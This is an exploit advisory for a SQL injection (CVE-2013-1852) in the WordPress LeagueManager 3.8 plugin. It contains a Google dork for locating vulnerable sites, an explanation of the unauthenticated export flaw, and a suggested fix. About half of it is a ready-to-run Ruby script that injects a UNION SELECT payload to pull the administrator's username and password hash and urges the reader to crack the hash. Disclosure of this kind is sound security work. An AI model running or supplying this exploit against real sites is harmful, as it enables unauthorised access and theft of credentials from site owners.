#
# Exploit Title: WordPress LeagueManager Plugin v3.8 SQL Injection
# Google Dork: inurl:"/wp-content/plugins/leaguemanager/"
# Date: 13/03/13
# Exploit Author: Joshua Reynolds
# Vendor Homepage: http://wordpress.org/extend/plugins/leaguemanager/
# Software Link: http://downloads.wordpress.org/plugin/leaguemanager.3.8.zip
# Version: 3.8
# Tested on: BT5R1 - Ubuntu 10.04.2 LTS
# CVE: CVE-2013-1852
#-----------------------------------------------------------------------------------------
#Description:
#
#An SQL Injection vulnerability exists in the league_id parameter of a function call made
#by the leaguemanager_export page. This request is processed within the leaguemanager.php:
#
#if ( isset($_POST['leaguemanager_export']))
#               $lmLoader->adminPanel->export($_POST['league_id'], $_POST['mode']);
#
#Which does not sanitize of SQL injection, and is passed to the admin/admin.php page
#into the export( $league_id, $mode ) function which also does not sanitize for SQL injection
#when making this call: $this->league = $leaguemanager->getLeague($league_id);
#The information is then echoed to a CSV file that is then provided.
#
#Since no authentication is required when making a POST request to this page, 
#i.e /wp-admin/admin.php?page=leaguemanager-export the request can be made with no established
#session.
#
#Fix:
#
#A possible fix for this would be to cast the league_id to an integer during any
#of the function calls. The following changes can be made in the leaguemanager.php file:
#$lmLoader->adminPanel->export((int)$_POST['league_id'], $_POST['mode']);
#
#These functions should also not be available to public requests, and thus session handling
#should also be checked prior to the requests being processed within the admin section.
#
#The responsible disclosure processes were distorted by the fact that the author no longer
#supports his well established plugin, and there are currently no maintainers. After
#e-mailing the folks over at plugins@wordpress.org they've decided to discontinue the plugin
#and not patch the vulnerability.
#
#The following ruby exploit will retrieve the administrator username and the salted 
#password hash from a given site with the plugin installed:
#------------------------------------------------------------------------------------------
#Exploit:

require 'net/http'
require 'uri'

if ARGV.length == 2
 post_params = {
  'league_id' => '7 UNION SELECT ALL user_login,2,3,4,5,6,7,8,'\
  '9,10,11,12,13,user_pass,15,16,17,18,19,20,21,22,23,24 from wp_users--',
  'mode' => 'teams',
  'leaguemanager_export' => 'Download+File'
 }

 target_url = ARGV[0] + ARGV[1] + "/wp-admin/admin.php?page=leaguemanager-export"
 
 begin
  resp = Net::HTTP.post_form(URI.parse(target_url), post_params)
 rescue
  puts "Invalid URL..."
 end
  
 if resp.nil?
  print_error "No response received..."

 elsif resp.code != "200"
  puts "Page doesn't exist!"
 else 
  admin_login = resp.body.scan(/21\t(.*)\t2.*0\t(.*)\t15/)
 
  if(admin_login.length > 0)
   puts "Username: #{admin_login[0][0]}"
   puts "Hash: #{admin_login[0][1]}"
   puts "\nNow go crack that with Hashcat :)"
  else
   puts "Username and hash not received. Maybe it's patched?"
  end
 end
else
 puts "Usage: ruby LeagueManagerSQLI.rb \"http://example.com\" \"/wordpress\""
end
